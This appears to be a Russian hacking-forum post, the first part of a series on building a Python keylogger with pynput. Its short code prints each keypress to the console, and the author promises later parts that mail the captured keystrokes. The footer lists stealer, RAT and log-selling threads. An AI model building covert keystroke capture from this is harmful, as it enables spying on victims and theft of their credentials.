Свой мини кейлоггер на python

Anorali

Original poster
Pro Member
Сообщения
106
Реакции
153
Посетить сайт
*Документация к pynput -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Всем привет, недавно я написал статью о создании стиллера паролей от wifi, я не рассчитывал и на 50 просмотров, но нашему много уважаемому учителю CMDfromBAT она показалась довольно забавной и он решил закинуть её на главную форума, и тут как попёрло!) Короче 1k просмотров и я понял, что пора писать ещё) Сначала я хотел написать backdoor, но я ленивый и взял кое-что полегче - кейлоггер) и конечно же python!

Для нашего кейлоггера мы будем использовать библиотеку pynput, предварительно установив её командой

pip install pynput

Импортируем библиотеку

Python:
import pynput.keyboard

Далее нам нужно создать объект, прослушивающий клавиатуру

Python:
keyboard_listener = pynput.keyboard.Listener()

Затем нам нужно вызвать функцию обратного вызова, которая будет вырабатываться при каждом нажатии клавиши

Python:
def process_key_press(key):
    print(key) # пока мы просто будем выводить результат

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)

Итак, у нас есть переменная с результатом нажатия клавиш, но мы с ней ничего не сделали. Чтобы запустить listener мы будем использовать ключевое слово with. По сути в питоне слово with, используется для работы с не контролируемыми потоками данных.

Python:
with keyboard_listener:
    keyboard_listener.join()

Вот и всё!

Python:
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()

При этом я учитываю, что вы читали документацию pynput (ссылка вверху), а иначе в дальнейшем будет не легко понять, что вообще происходит!

Тестим:

Открываем два окна с терминалом, в первом окне запускаем наш мини кейлоггер, а во второй что нибудь пишем

вот результат:

Снимок экрана 2020-06-22 06:16:01.png

*Всё особые клавиши, по типу backspace выводятся через "Key."

С основной частью мы закончили(написание самого кейлоггера). Я разделил эту статью на несколько частей, это первая, в дальнейших мы будем всё больше и больше совершенствовать свой код, вывод программы будет более понятный и приходить на почту)

Всем удачи!
 
Название темы
Автор Заголовок Раздел Ответы Дата
Anorali Свой мини кейлоггер на python. Часть 3 Вирусология 2
Anorali Свой мини кейлоггер на python. Часть 2 Вирусология 0
S Интересно Свой мини-рат на python + стиллер хрома v80 Софт от наших юзеров 8
G Python для хакера - Часть 4. Свой мини фреймворк. Другие ЯП 1
M Куплю Свой запрос с ваших логов. GEO – любое Куплю/Продам 2
W Свой шоп или работа с яндекс дзен Полезные статьи 0
L Свой магазин цифровых товаров за 5 минут Услуги дизайнеров/веб-разработчиков 1
АнАлЬнАя ЧуПаКаБрА INLINE Бесплатный мини пак.СС/ДЕДИКИ/SSH. Проекты Private Keeper 0
K 5 мини-курсов по программе Adobe Photoshop от «Фотошоп-мастер» Другое 0
M Розыгрыш мини квадрокоптера №2 Другое 9
M Розыгрыш мини квадрокоптера Другое 22
andre5787 Как создать свой кейлоггер без знания языков программирвония? Вопросы и интересы 5
N Устанавливаем и запускаем кейлоггер на Linux. Анонимность и приватность 0
V Пишем переносной кейлоггер на C++ Полезные статьи 1
farhad.tiger Создам Вам RMS, стиллер, кейлоггер под ключ[free] Spam/DDOS/Malware 2

Название темы